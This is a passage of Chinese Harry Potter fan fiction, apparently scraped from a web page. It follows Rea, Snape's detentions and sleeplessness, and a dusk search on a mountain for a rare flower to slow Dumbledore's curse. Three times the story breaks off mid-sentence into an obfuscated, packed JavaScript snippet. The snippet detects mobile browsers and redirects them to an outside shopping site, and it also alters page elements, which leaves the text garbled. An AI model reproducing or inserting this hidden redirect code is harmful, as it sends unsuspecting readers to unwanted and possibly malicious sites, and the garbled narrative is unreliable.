蕾雅听见前排的赫敏大喊一声:“蕾雅?!你在做什么?!” 瞬间清醒了过来的蕾雅立即抬头。斯内普浑身湿透着身处湍急的水流之中,他的黑发狼狈地贴在耳侧,即使在微弱的光线下,也能看见他阴沉得就像暴风雨前夕的脸,那黑瞳里有猛烈的焰火在燃烧。 少女吓了一跳,快速地将捏着魔杖的手收在身后。可是已经太晚了,斯内普早就看到了她,他边挥动着魔杖将一切复原,边压着怒气阔步走到她面前。 “看来,我们这里有一位小姐已经,彻底,掌握无声咒了?”他的声音如同将滚滚而至的暴雷。教室里本来还有一些细碎的笑,现在却变成了倒抽一口凉气的嘶嘶声。 配合着墙上那些骇人的画像,真得就像是惊悚故事一样。 “……对不起,教授。”蕾雅低下头无意识地往后退了两步,躲开那仿佛要把她吞噬的怒目。 “或许,麦格教授曾教导过格兰芬多的学生们?说话的时候应该看向对方,以表示最基本的,尊敬?”斯内普的压迫感几乎让蕾雅背脊贴上墙了。 “对不起,教授。”蕾雅发现自己没有任何退路了,只能鼓起勇气抬眸看他。 烛光正好打在斯内普极度愠怒的脸上,她看见他眉毛紧皱,如黑洞般深邃的眼睛在缓慢地转动,简直就像是大蛇即将捕食之前看向猎物的样子。 她依然胆怯地凝视着他。就在那里,她不仅看见了他的怒气,还看见了他眼底的乌黑。 斯内普与她对视只维持了一瞬,便转过身闷声道:“莱恩哈特小姐攻击教授,表现藐视。格兰芬多将因为她的这些无礼且严重破坏课堂纪律的行为而丢掉十分。同时,你将在星期六来我的办公室关禁闭。” 蕾雅抽了一口气,小声喃喃道:“……我知道了。” 这时,她听见了身后的哈利小小地咒骂了一句。 “你对我的决定有异议,波特先生?”斯内普的耳朵倒是精准地捕捉到这个小插曲。 “呃……” “还是说,你觉得你自己也已经熟练掌握无声咒了?”斯内普冷笑一声,“格兰芬多今天迫不及待地想要证明自己,不是吗?” 随着他的话音落下,斯内普瞬间抽出了魔杖指向蕾雅身后的哈利,几乎是与此同时,哈利迅速地举起了魔杖吼道:“盔甲护身!” 斯内普被猛地击飞了出去,重重地撞在蕾雅旁边的一张桌子上。蕾雅本能地朝他伸出了手,但斯内普稳住平衡后立刻不动声色地瞪了她一眼,少女又被他逼人的目光震得缩了回去。 “波特先生真是情深义重啊。”斯内普缓缓站直身子,脸上已看不出愤怒或其他情绪,“你是不放心莱恩哈特小姐被我关禁闭,急于要陪在她身边了,是吗?” 斯内普的话语中带着令人窒息的威慑,整个教室此刻寂静得像是被抽了真空。 他迅速瞥了一眼站在他身侧低着头的少女,随即又将薄唇抿成一个讥讽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593437|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角度,刻薄地说道:“真是令人感动。既然如此,我只好成全你们一起关禁闭了。” 哈利倒是对关禁闭这件事满不在乎,也许是因为他早已习以为常。然而课间休息时,他收到了邓布利多要在同一时间给他补课的信息。 “抱歉啊……把你一个人丢下了。”哈利抓了抓自己那头乱糟糟的黑发,眼里流露出一丝歉意。 蕾雅正喝着从厨房拿来的黑咖啡,尽管如此,她还是止不住连连打哈欠。她疲倦地揉了揉眼睛,淡淡地说道:“别道歉呀,又不是你关我禁闭嘛。” “我真的搞不懂他为什么老是针对我们。”哈利仍然有些愤愤不平。 “是啊,为什么呢。”蕾雅苦笑了一下,又咽下一大口咖啡。 如果有机会,总有一天,她会问他的。 有机会的话。 接下来是魔药课。魔药学教室似乎和黑魔法防御课教室截然相反,从来没有这么明亮过。斯拉格霍恩在教室里摆满了各种颜色的魔药瓶,仿佛在举办一场魔药展览。 他本人也真的像是在举办一场展览,还没开始上课已经絮絮叨叨了一堆有的没的。 蕾雅跟着哈利他们坐到了离一口金色坩埚最近的桌子。金色坩埚里的液体此时冒着一丝梦幻般的奶白色光泽,蒸汽以盘旋的形态缓缓上升着。蕾雅眯着眼睛打量了一会儿,认得出来,是迷情剂。 “迷情剂?”她凑近赫敏的耳边,捂住嘴小声地问。 “你也看出来了?”赫敏一笑,“进步很快啊最近你。” “唔。”蕾雅眨了眨眼,将她的问题以困倦迷糊的表情糊弄了过去,“这是不是会闻到你喜欢的人的味道?” “哦?”赫敏一挑眉毛,刚要开口—— “有没有人能告诉我这是什么魔药?”斯拉格霍恩就指着这口金色的坩埚。 蕾雅坐了回去,微笑着看赫敏如往常一样高举起了手:“是迷情剂,先生。它的味道因人而异。” “很好,很好,你连这个都知道?”斯拉格霍恩欣慰地点了点头,“那你闻到什么味道了?” 这下,这桌除了赫敏以外的三位格兰芬多狮子都好奇地投去了目光。 赫敏快速地白了他们三人一眼,重新转向此时耐心地注视着他们这桌的斯拉格霍恩。她舔了舔嘴唇,轻声说:“先生,我闻到了刚修剪过的草坪,崭新的羊皮纸,还有——” 赫敏突然打住了话,蕾雅疑惑地侧过头去,自己的好友忽而涨红了脸。蕾雅仔细地端倪了一阵,旋即就察觉到了她的目光不自觉躲开了桌上饶有兴致看着她的罗恩。 噢,恋爱的气息。 蕾雅勾着嘴角,明白地移开了视线,下一刻正正地撞上了斯拉格霍恩殷切的眼神。 “你呢,蕾雅。说说看?”光头的魔药学教授满脸笑容,目光中带着期待,仿佛正要打探什么惊天秘密。 蕾雅身边的赫敏脸上的绯红尚未褪去,但她也同样以期待的目光看着蕾雅。蕾雅只得保持镇定,神色自若地微微前倾身子,用手轻轻扇了扇面前那缥缈的烟雾。 “先生,您别笑我。我闻到的是松饼,枫糖浆,还有烤鸡。” “这听起来像是你迫不及待要过圣诞节了,蕾雅。”斯拉格霍恩欢喜地大笑起来,整个教室也随之哄然笑作一团。 蕾雅鼓了鼓嘴,用力捏了一下身边笑得最欢的好友,又瞪了两眼根本掩饰不住大笑的罗恩和哈利,心里暗下决心,这节课再也不和他们说话了。 她托着腮偏过脸去准备开始听课。在正式上课前,斯拉格霍恩从一侧的储存柜里取出两本旧魔药学教材递给哈利和罗恩。蕾雅一愣,眼神不自觉地移向哈利手上的书,很快意识到这是她曾翻看过的,属于“Half Blood Prince”的课本。 她不清楚斯内普为什么没有把这本书带走。 但有一点她倒是十分清楚——那迷情剂的气味,透着一种极致的苦涩。 28. 安眠 斯内普一直有很严重的睡眠问题。 而最近,这个问题正有愈发严重之势。明明这个学期远不如上个学期那样忙碌了,他却变得越发得睡不着觉。 是因为换了办公室和寝室的缘故?还是因为那几乎不可控的马尔福?——或者是。 每次闭上眼,总是不自觉地开始思索,邓布利多究竟会在什么情况下,让自己动手杀了他。 那如枯柴般的右手之上,象征死亡的黑色正在侵蚀着手臂,速度比预估得要快多了。每次为他检查时看见这种变化,斯内普都难以自抑地开始怀疑他们是否真的还有一年的时间。 万一,他的估计有误呢? 斯内普深知自己是有多么幸运,在关键的时刻能以手中的药材配出那杯魔药,将邓布利多从死亡线上扯回来。他很清楚,但凡当时自己有再多一瞬的犹豫或者等待,现在霍格沃茨早已换了一任校长了。 然而,诅咒只是被延缓了。之后的每一天,斯内普都目睹着邓布利多的身体在一点点地恶化,不仅如此,那只手显然正在带给他剧烈的疼痛。 尽管斯内普一向冷淡如冰、言辞犀利,他也不得不承认,眼睁睁看着一个人——尤其是一个自己敬重的人,生命力被一点点被剥夺,是一件难以忍受的事。 整整一个暑假,斯内普都在试不同的药,月露花、独角兽的角、龙血、曼德拉草……其中有一些带来了微小的成效,但都并不显著。 最终,斯内普只能无奈地看着邓布利多沉浸在那些甜得发腻的食物中,放纵老巫师以此来暂时逃避痛楚。 斯内普完全无法理解,智慧如海、聪敏如光的邓布利多,竟会将这样明显的诅咒物件戴在自己的手上。 ——“诱惑太大了。” 当时的邓布利多脸上闪现着痛苦,眼里有一种斯内普从来没有见过的不理智。 这世上最伟岸、看似无求的巫师,也会有这样的时刻吗? 斯内普发现自己根本对邓布利多了解甚少,甚至无法推断出是什么样的东西能让他甘之如饴,不惜放弃生命。 该死的邓布利多,斯内普不止一次在夜里偷偷地骂过。心里明晰到,正是这个暗中运筹帷幄却又明显对他有所隐瞒的老头子,让自己这样夜夜难眠。而随着精神状态的持续衰弱,他渐渐察觉到自己的警惕性也在下降——竟然已经到了在课堂上被无声咒击中的地步。 ……不能再这样下去了。手里的一切都会失控的,更别说他还有另一个更难缠的人要应付。 他在夜里支起身子,以手背磨蹭过自己的额头。随后,他烦躁地伸手去摸床头柜,但心底里明白得很,这一切不过是徒劳,无梦药水早已对他失去了作用。 想起来,上一次好好睡上一觉,究竟是什么时候呢? 斯内普眉毛微蹙,发现自己的目光正停留于搁置在床头柜的耳环上。 忘记还给她了……算了,也许她根本没发现自己丢了耳环吧。 他迟疑了一瞬,手指已经触碰到药瓶,却蓦地抽了回来。他再次叹了一口气,决定还是起身读点文献吧——至少文字能让他的思绪暂时脱离现实的困扰,哪怕只有片刻。 窗外的日在缓慢地升起,又是一夜无眠。 当然,人是需要睡眠的。斯内普也不例外,所以在各种疲惫到了极点的时刻,他也会寻找片刻的安宁。比如说,晚饭后在图书馆禁区靠门的一隅,在那些远处细微钢琴声里,忙碌了一天的他可以枕着自己的手臂,沉入一段短暂的浅眠。 等他再次醒过来时,已经是夜里九点半了。 斯内普揉了揉自己的额角,缓慢地坐起身,等待着血液重新流向大脑。想起来今天是自己值夜巡逻,他拿起魔杖,将散落了一整个书桌的魔药和诅咒相关的书籍重新送回了书架上。 一关上禁区的铁门,斯内普立刻察觉到自己的幸运——他遇到了一位即将因为宵禁后游荡而被扣分的倒霉学生。更好的是,还是一抹格兰芬多红。 斯内普眯起了眼睛审视着面前的身影。许是平斯夫人还没来得及清场,总之—— 他构思着各种锋利讥诮的言辞,一边慢悠悠地径直朝前面书桌上背对着他趴着睡觉的格兰芬多走过去。 刚靠近几步,他忽然顿住了脚步。 那个小小的身影几乎完全被旋转木楼梯投下的影子覆盖,肩膀正在微微起伏。散落的柔顺黑发铺在她的背上,头顶正映着陈旧木桌上那盏墨绿色台灯透出的幽幽暖光。 她睡得很香,就是他几乎已经靠在她身后了,也丝毫没有发觉。 整齐叠放着的几本课本被搁在一角,斯内普只一眼就分辨了出来是《高级魔药学》、《遭遇无脸妖怪》和《巫师世界魔法史1800-1900》。在这些课本下,压着几张钢琴谱,他又顺着看了过去——是《Whisper In the Dark》,黑暗中的低语。 她的右手按着一本看起来不像是教材的书,斯内普不自觉地俯下身,一股淡淡的薰衣草气味飘入鼻端。他没有多在意,注意力都放在了她指缝间露出的插图上面。 那是一副以白描笔细细勾画的黑白插图,虽然寥寥数笔,却以墨色晕染出了交错的光影,光影笼罩着一株栩栩如生的植物,花瓣微展,似是正在沐浴着雾气。 斯内普挑了挑眉,目光顺着旁边的文字扫去。书页上,赫然写着“暮光幽影花”几个字。下面的文字解释道:这种花被认为是对抗古老诅咒的强大药材之一。花瓣与悲啼果、金翼甲虫共同入药,加以凤凰羽根,可用于调制一种魔药,能够减缓、抑制由黑魔法引起的诅咒。 “唔?”斯内普心中一动,怎么不曾记得自己看过这本书。 他在她身后读得入神,思索了一阵,差点就忘记了宵禁这回事。 就在这个时候,图书馆的门被缓缓推开,平斯夫人抱着一叠新到的书,踩着台阶走了进来。 “啊,斯内普教授!”平斯夫人远远地就看见了他,语气中带着一丝惊讶,“你还在呐?” “嗯,逮到一个学生。”斯内普微微侧头,向平斯夫人致意,随即反手轻叩桌子,以平直得没有一点温度的语气说道:“起床了这位小姐。” 面前的少女肩膀一抖,不情愿般地又把头扭到了另一边。 “莱恩哈特。”斯内普不耐烦地再次叩响桌子,忍住了提着她的衣领将她揪起来的冲动,“难道你是打算把图书馆当成你的床?给我滚回寝室睡觉。” “唔……?”蕾雅终于从梦中清醒过来,被毫无预兆地出现在眼前的魔药学——哦,不,黑魔法防御课教授吓了一跳,瞬间弹了起来,惊叫一声:“哇!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是不是普通的书,我自然能分辨。”斯内普掂了掂手中的书,没有再看她,“现在,如果格兰芬多学院不想再丢失它那可怜的分数的话——” 蕾雅鼻子一皱,有些不满地嘟哝着:“好、好吧。” “晚安,先生。”她最终不情愿地低声道别,转身头也不回地小跑出了图书馆。 斯内普就这么拿着书,大步巡逻了一圈宵禁之后的霍格沃茨。确认城堡里一个人也没有了之后,他悠然地踱回了他的新办公室。 就在黑魔法防御课办公室木门的一侧,安静地躺着一个敞开的木头箱子。他疑惑地弯腰拾起,映入眼帘的是一个有些熟悉的木盒子,旁边并排放着一小束薰衣草、一捆洋甘菊,还有一块温润的月光石。 斯内普的眼里划过一点讶异,但很快就又了然于心。他将这个小箱子和那本书一并放到了自己的办公桌上。 随后,方正的木盒子跟他抽屉里的那个一模一样的并排放在一起。后者已经被一些细碎的文具填满,而前者——斯内普缓缓打开盖子,从里面取出了一个茶包。 缭绕的热雾升起,杯中有逐渐弥漫散开的金黄色,带着一抹与无梦药水的薄凉截然不同的温暖。 那晚,一夜无梦。 29. 禁闭? 黑魔法防御课的办公室实在是太亮了,明晃晃的光线刺得人睁不开眼睛。 这里没有那些腐绿得阴森的魔药罐子,没有那些渗着地下潮气的厚重墙壁,取而代之的是过多的窗户和整片整片的阳光,像一缕缕金线一样,不受限制地绣在壁炉旁的垒的小山一样的书堆上。 在与这些肆意的光束斗争了三天以后,斯内普很快地就决定给他们装上了厚重的窗帘,同时把他的办公桌搬到了房间远离窗户的一侧。 此刻,房间里弥漫的一股清淡的洋甘菊香味,斯内普靠在椅子上,阳光懒洋洋地从窗帘缝里钻进来,悄悄落在他的脚边。这几天他都在看这本从黑发少女那里拿来的书,希望能从里面发掘一些有用的蛛丝马迹。 书里确实有很多都是如今仅存在于传说中的魔药材料,也有一些是他没怎么听过的,但来来去去,大部分都是已经不可获得的材料了。 他一页页翻着,修长的手指不紧不慢地扫过书上那些文字,同时也划过那些以小巧圆润的字迹记载的笔记,有生涩的拉丁文单词解释,还有一些对内容的评论和临摹插图的涂鸦。 突然,面前的壁炉燃起了绿色火焰,斯内普按下手中的书,抬眸便看见邓布利多的脸出现在火焰里。 “噢,西弗勒斯。多么美好的早晨,看起来你已经很适应新的办公室了。” 就是隔着两个壁炉,也没法阻挡邓布利多笑容里那种令人背脊恶寒的假亲切,斯内普想到。 “有话就说。”斯内普无情地打断了老巫师的感慨。 “是这样,我听说你今晚打算关哈利禁闭来着。”老巫师继续慢悠悠地道。 “怎么,霍格沃茨校长还要插手这种小事?” “不不,我只是想说,我今晚有点事需要找哈利。”邓布利多连忙解释,“或许禁闭可以推迟到下周六?” 斯内普不满地冷哼了一声,沉默片刻,摆了摆手说道:“行吧,我知道了。” 等火焰消散了,壁炉重新归于平静,斯内普也不以为然地将目光重新放在书页上面。 刚翻过一页,就是他那晚读了一部分的“暮光幽影花”。他开始仔细地读着,眼睛一遍遍扫过那些解释、配方、栖息地。 再翻过一页,书页的左下角,那晚被她手掌按住的角落里小小地写了一句“好美,想看!” 斯内普眉头一皱,用手指按了按自己的跳痛的太阳穴。 …… 本该是个闲适的周六下午,如果不是今晚还要关禁闭的话。蕾雅一边想着一边慢悠悠地走下台阶。 她的右手端着一杯麻瓜速溶咖啡,左手抱着一叠羊皮纸和那本《遭遇无脸妖怪》,准备在公共休息室里找个阳光充足的角落写斯内普布置的作业。 公共室里很安静,显然,低年级的学生在这种秋阳明亮、温度适宜的日子里都跑出去玩了,只有几个可怜的高年级学生留在这里写作业。 还没等蕾雅找到舒适的位置,她就瞥见正一个人坐在壁炉前的哈利,他好像皱着眉头在读一封信。她走近了些,又看见他身侧正放着一本紫色封面的课本,是《高级魔药学》的课本。 蕾雅眼睛一转,旋即走到哈利身边跟他打招呼,“嗨,哈利。罗恩和赫敏呢?” “哦,蕾雅。”哈利恍惚了一下,手里顺其自然地收起了信,刚刚拧紧的眉毛倒是放松了一些,“罗恩说要出去透透气,赫敏没在寝室吗?” “没有喔,寝室没人。”蕾雅在沙发上坐了下来,把咖啡撂在茶几之后看向哈利身侧的课本,又问道:“你怎么拿着高级魔药学的课本,我记得这周没有作业吧?” “没有作业,我就是在看书而已。”哈利用左手拿起了那本书,看见蕾雅眼里的困惑,又解释道:“我跟你说,这本书,太神奇了。” “神奇?” “这是上次课上斯拉格霍恩教授给我的,别人的旧书,但我发现上面有很多笔记。” 哈利像是小动物一样谨慎地扫了一眼周围,不由自主地压低了声音,“就周一的魔药课,你还记得吗,我赢得了福灵剂。其实我跟你说,全都是因为我跟着这个人的笔记,比书上写得指南好多了。” “什么样的笔记?还能写得比书上好?”蕾雅故意用有些讶异的语气问他,注意到哈利眼里正闪烁着仰慕的光芒。 “比如说……”哈利哗啦啦地掀开了书,直接翻到了活地狱汤剂的那一版,以手指指向一处凌乱的笔记:“你看,这里他写了瞌睡豆要用短刀的侧面挤压,而不是切片。” ——“听着,瞌睡豆的处理方法,是要用刀的侧面挤压而不是切片,这样更容易出汁。” 蕾雅蓦地就想起来,在魔药储存室里按在自己手腕上的大手,是属于这本书主人的。 要是让此时如此崇拜这人的哈利知道,这本书的所有者原是他最讨厌的斯内普,会怎么样呢? 蕾雅还是决定先不告诉他,反正等新书到了,他就会把旧书还回去了。 而且,哈利确实从这本书上学到了东西,不是吗?她并不想看见哈利失望的样子。 于是她随口说道:“可能是之前的学生的吧?” “没写名字呢,就写了本书属于混血王子。”哈利晃了晃脑袋,“但这笔迹有点像女生就是了。” “喔,希望不是个奇怪的人。”她应道。 哈利在随便翻着书页,蕾雅盯了一阵,就想起来上面还记载了很多斯内普自创的咒语,尤其是神锋无影——她正是以这一咒语伤到了斯内普本人。她眉心微动,立马又叮嘱道:“你还是不要太相信书上写的好,万一有错的呢。这个人要是这么厉害,现在在魔药界我们早就该听说这位‘王子’了。” “你说得对,我知道的。”哈利胡乱地点头,迅速把书合上放在一边。 蕾雅抿了抿嘴,决定还是先不去管他吧。 她伸手端起了已经凉透的咖啡抿了一口,正准备去拿起自己身侧的羊皮纸,身边的哈利重新拿起那封信,小声开口道:“其实,我刚刚收到了西里斯的信。” “西里斯?……啊,是布莱克先生啊?”蕾雅将羊皮纸按在垫在大腿上的课本之上,顺着他的目光看去,“他还好吗?” “已经痊愈并且秘密出院了。”哈利眨了眨眼睛,但脸上的表情却是喜忧掺半般扭曲着,“就是,他在信里说一个人呆在格里莫广场太无聊了。” 是的,布莱克先生仍然是戴罪之身,是因为在神秘司一事中豁出性命保护了哈利,再加上邓布利多的庇佑,让魔法部在那以后对他睁一只眼闭一只眼。但这并不能就那样让他洗脱罪名,他依然需要躲开公众的视线。 于是,在邓布利多的秘密监护之下,他在圣芒戈养好了伤,又悄悄回到了格里莫广场。 “我真不明白,明明所有人都知道不是他做的了,明明为了保护我他差点连命都没了。”哈利见蕾雅陷入了沉思之中,又自顾自地说了起来,“就是这样,他还是得躲起来。” “唔,”蕾雅终于回过神来,有些难过地看向身边的眼镜男孩,“既然他是冤枉的,有没有什么办法能让他洗清冤名?” “办法?”哈利的肩膀抖了一下,脸上瞬间展出了愤懑,“其实之前我们都抓到真正的犯人了,让他跑了!” “真正的犯人?” “是彼得·佩蒂格魯,现在是个食死徒。”哈利说。 接着他又将三年级发生的事情跟蕾雅说了一遍,因为当时蕾雅跟他们并不是很熟络,到后来也只是知道西里斯是冤枉的,从阿兹卡班逃出来了而已。 蕾雅耐心地听了一阵,心里不禁暗暗为这阴差阳错的事感到惋惜。 随后,她安抚般看向哈利,试探性地问:“也就是说,只要抓到这个佩蒂格鲁,就能证明布莱克先生是清白的了?” “我当然不是没有想过。但要怎么抓住他呢?神秘人已经归来了,食死徒只会比以前更难以捉摸。”哈利也许早就意识到了这点,但是无计可施的无力感就像一盆冰冷的水,不仅浇灭了一腔热血,也让他清醒地放下这个念头。 是啊,能与食死徒抗衡的,也就只有凤凰社。 可是他们这么久以来都没有为洗清布莱克先生的冤罪而行动,为什么呢?是这种行动过于危险吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593439|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许,只有邓布利多知道答案——但是,这位老巫师已经时日无多了。 蕾雅叹了一口气,顷刻之后,她还是决定将心里的想法说出口:“你今晚不是要见邓布利多先生来着?不如跟他说说这个事?”趁他还能周旋其中,这个事越早解决越好。 “也对,”哈利将信再度折起来,重新扶正了有些滑落的眼镜,绿色的眼睛里绽出了格兰芬多独有的坚决,“也许我今晚该跟他说说这个事。” “你最好跟他解释一下,要是布莱克先生能恢复自由,能保护你的人就多一个。他又那么强。”蕾雅补充着话,用手拍了拍他的肩膀,好像这样能给他一点勇气一样。 毕竟,过不了多久,邓布利多和斯内普都不会在了。能多一个战斗力都是好的。 “你说得对,谢谢你。”哈利感激地点点头,朝她扯了一个笑容。 他们就这样聊着天,顺便一起完成了一些作业,时间一点点来到了傍晚。 晚饭过后,赫敏和罗恩加入了谈话,不过没有维持多久,就已经到了哈利去找邓布利多和蕾雅的禁闭时分。 等到蕾雅无意识地跑到了魔药学教室门前,远远眺望见斯拉格霍恩肥胖庞大的背影的时,她才猛然发现自己忘记了斯内普已经换了办公室。 幸好,图书馆塔楼和天文塔并不是很远,蕾雅快步穿过傍晚却仍然亮堂的庭院,一路跑上黑魔法防御术教室前的那一叠台阶,气喘吁吁地敲开办公室的门。 “你迟到了。”门后面是那尊比得过南极千年冻冰的雕塑,但之后伴随而来的是一股微弱的洋甘菊味,莫名地缓解了她紧绷的神经。 蕾雅飞快地扫了一眼斯内普办公室里的时钟,指针不过是稍稍越过了一分而已。 真无情呐,斯内普教授。 她皱了皱鼻子,小声地解释道:“我去错办公室了……” 斯内普冷哼一声。 无意识地将目光从时钟上往下移,蕾雅立刻注意到,那本被没收的书正摆在斯内普的桌上,封面上的金线在魔法烛火的映照下闪耀着炫光,实在是让人难以不去注意到。 而黑发巫师仍然伫立在门边,好像没有要让她进入办公室的意思。蕾雅不得不抬头疑惑地看他,注意到他的脸色比之前上黑魔法防御课的时候要好得多,至少眼神没有那么像接近暴走极限的野兽了。 她再次紧张地喃喃道:“先生?我该做什么?” 斯内普没有说话,嘴唇闭成一道下弧线,黑眸从上到下仔细地审视着她,好似正在衡量或者思考着什么事。 蕾雅谨慎地与斯内普对视着,连呼吸都变得轻不可察。 片刻后,斯内普突兀地移开了视线,冷淡地说道:“回去你的寝室拿旅行斗篷。十分钟后到校门口,别再迟到。”话音刚落,办公室的门便砰地一声关上了。 啊?—— 蕾雅怔怔地盯着再次紧闭的木门,心里的困惑大如望不见边界的汪洋。但她知道这位教授一向如此,古怪而不可测。 这所学校实在是太大了!光是从黑魔法防御课教室到寝室就花了她五分钟。蕾雅从来没有这么渴望过能使用幻影移形。 等她再次拖着急促的呼吸来到霍格沃茨的正门时,斯内普已经站在那里了。他的双臂一贯抱在胸前,远远望去,倒真的像一座冷峻的石雕。只是这抹黑色显得过于忧郁,与古典华丽的霍格沃茨有点格格不入。 “先、先生。”她抱着自己的旅行斗篷,喘着气朝他快步走去,“我们是去禁林吗?” 斯内普转过身来看了她一眼,唇角压得极低,开口的语调也如同冷凝的冰柱:“过来,如果你不想分体的话。” “分体?”蕾雅将斗篷披在身上,带着疑惑走近了些。 斯内普依旧阴沉着脸,无声地抬起了右手。 蕾雅一刻就明白了,瞬间停下心里所有的疑问。她轻轻地将自己的左手搭在那黑色的衣袖上面,指腹触碰到带着他体温的黑色纤维,脸也滚烫了起来。 随他吧,她想到,带我去哪里都行。 下一个瞬间,眼前的一切都变成了一个浩大的漩涡。 30. 暮光 夏末初秋的英国,日落得很晚。 映入眼帘的是绵延不绝的山脉,空气微凉而稀薄,辽远无垠的天空正由清澈的蓝色逐渐过渡为瑰丽的明黄。太阳光从云层之中穿洒而下,像是天父在慈爱地俯瞰着大地,以温暖的光辉庇佑着他不舍的万物。 脚下是一片山路,没有灌木,只有低矮的草地,在这初秋之际泛着一层金褐色的暖调。草地与草地之间分出一条似乎被人踩踏出来的小径,带她来的人已经在这条小路上走出了一段距离。她的目光追随着那抹黑袍,看到它渐渐融入远处的光影之中,仿佛被天际的金辉轻轻拢住。 蕾雅实在是没有想到会看见这么一幕,她呆在原地看了好一阵子,才终于迈开腿跑向他。 “先生,这里是……?”她小心翼翼地跟在他身后,终于谨慎地开了口。 “怎么,买了书,写了笔记,却连书上写了什么都记不住了吗?”斯内普没有回头,脚步不停,声音冷得不近人情。 书? 她的脑海里瞬间就浮现出了刚刚放在斯内普办公桌上的古书,也想起来自己乱七八糟记的笔记,但大多数都是感叹或者按着插图涂鸦而已。 蕾雅暂时闭上了嘴,害怕等下说出什么未经思考的话反而激怒了他。斯内普依然没有任何解释的意思,只是沉默地沿着山路继续前行。 少女再次把目光放在身侧熠熠生辉的天际,夕阳正在安静地没入地平线,在天空与大地的交界处留下了一道耀眼的光带。群山也仿佛被这光辉浸染,化作一道起伏的模糊金色轮廓。 等等,山脉?日落时分? 蕾雅的心里开始浮现出一丝线索,但仍不是很确定。她的思绪随着脚步起伏,直到她一路跟着斯内普拐过前方的弯坡,眼前陡然变得波澜壮阔,面前一望无际皆是山峦之巅,层层叠叠,几缕薄云被余晖染红,一切都盛大而恢弘。 而斯内普的视线,专注地扫过那些屹立在四周的岩缝,似乎在寻找着什么。 高耸入云的山脉,岩缝,日落时分—— “暮光幽影花?”蕾雅快步跑到斯内普的身侧,几乎是脱口而出自己的判断,“常常生长在被云雾围绕的山顶,仅在黄昏时刻可以看见。” 斯内普顿住了脚步,转向她,双眸中闪过一丝赞许,“比我预料中快。” “暮光幽影花可用于调配延缓黑魔法诅咒的药剂……您是,为了邓布利多先生吗?”蕾雅并没有因教授明显的赞扬而感到高兴,反而眉头微蹙,再次问道:“可是,教授,这种植物只是传说中存在,不是吗?” 斯内普没有立即回答,转回身去,继续将目光投向前方的岩缝,仿佛她的问题早在意料之中一样,平静地说道:“有一份偏门的小道消息提到,这附近可能见过这种植物。但能不能采集到,那就是运气了。” 这种花,只有在日落和夜幕交替的短暂时刻,才会在山顶露出身影。 能不能见到,确实是一种运气。 蕾雅不再说话,转头看向斯内普另一侧的岩石,仔细打量着那些嵌在石缝里的植物,但大多数不过是些杂草而已。 不久后,她再次抬头望向即将西沉的落日,之前被染成两半的天空逐渐被柔和的深蓝吞没,只剩下一抹炽烈的橘红散射在天际。而在那深蓝的天幕上,一轮弯月已然赫然升起。身后群山的金光也悄然褪去,变为神秘的藏青色。 时间不多了。 他们又沿着山路走了一段,依然一无所获。天上开始出现零星的星点,气温也逐渐变得冰凉,蕾雅不由地裹紧了身上的旅行斗篷。 但面前的斯内普好像并不在意周遭的变化,执着地检查着每一处岩石。 就在太阳的最后一抹余晖消失的那一刹那,蕾雅的眼睛忽而被斯内普背后的一处微光晃了一下。 “嗯?”她轻轻发出一声,心跳猛然加速,急切地向那块粗糙不平的岩石跑去,紧张地凝视着那一抹微弱的光芒。 “教授!”她朝他喊道,“这是不是?” 斯内普闻声快步向她靠了过来。 就在那嶙峋的岩缝里,一株植物仄歪地斜出,显得极为纤细脆弱,仿佛随时会凋谢。然而,即便在这昏暗的日光下,蕾雅依然能清晰地看到花朵上呈现出的深紫色。花瓣的边缘仿佛被夕阳轻轻染上了一层淡橘色的晕彩,透出一种朦胧而微妙的光芒。 太美了,仿佛是日月交汇的天辉,也如同苍茫暮色中的星辰。 斯内普也敛住了眼眸,平日如寒冰般的脸庞上竟显露出了一丝惊喜。他勾着嘴角,迅速地从身上摸出自己的魔杖,低声念了一个咒语将植物的生命静止在了这一刻。 此时,天已经快黑透了,蕾雅也拿出了自己的魔杖点起了荧光闪烁,举在植物旁边。 斯内普没有看她,单膝跪在岩石前,用一个镶着金线的玻璃瓶小心地将花枝罩住,手腕微微转动,以极小的角度控制着魔杖,细致地将植物的根从岩缝中一点点分离出来。他的动作专注而耐心,黑眸灼灼,目光如炬。 蕾雅在一侧望着他,几乎忘记了时间。 他亦是日月星光。她心想。 等斯内普处理完一切站起身时,蕾雅才缓过神来。寒冷的空气骚扰着她的鼻腔,她没能忍住,打了一个喷嚏。 斯内普将瓶子收入自己的魔法口袋里,偏过脸迎上她手中的荧光。少女的绿眸在亮光下显得格外明净,鼻尖微微泛红,正不好意思地用手帕捂住嘴。 “回去吧。”他说,朝她微微抬起手臂。 蕾雅忍住下一个喷嚏,点了点头,将手搭在他的手臂上。 虽然仅仅一瞬,也即使隔着衣料,斯内普还是感觉到了少女手上的寒凉。他扯了扯嘴角,决定不要去在意这件事。 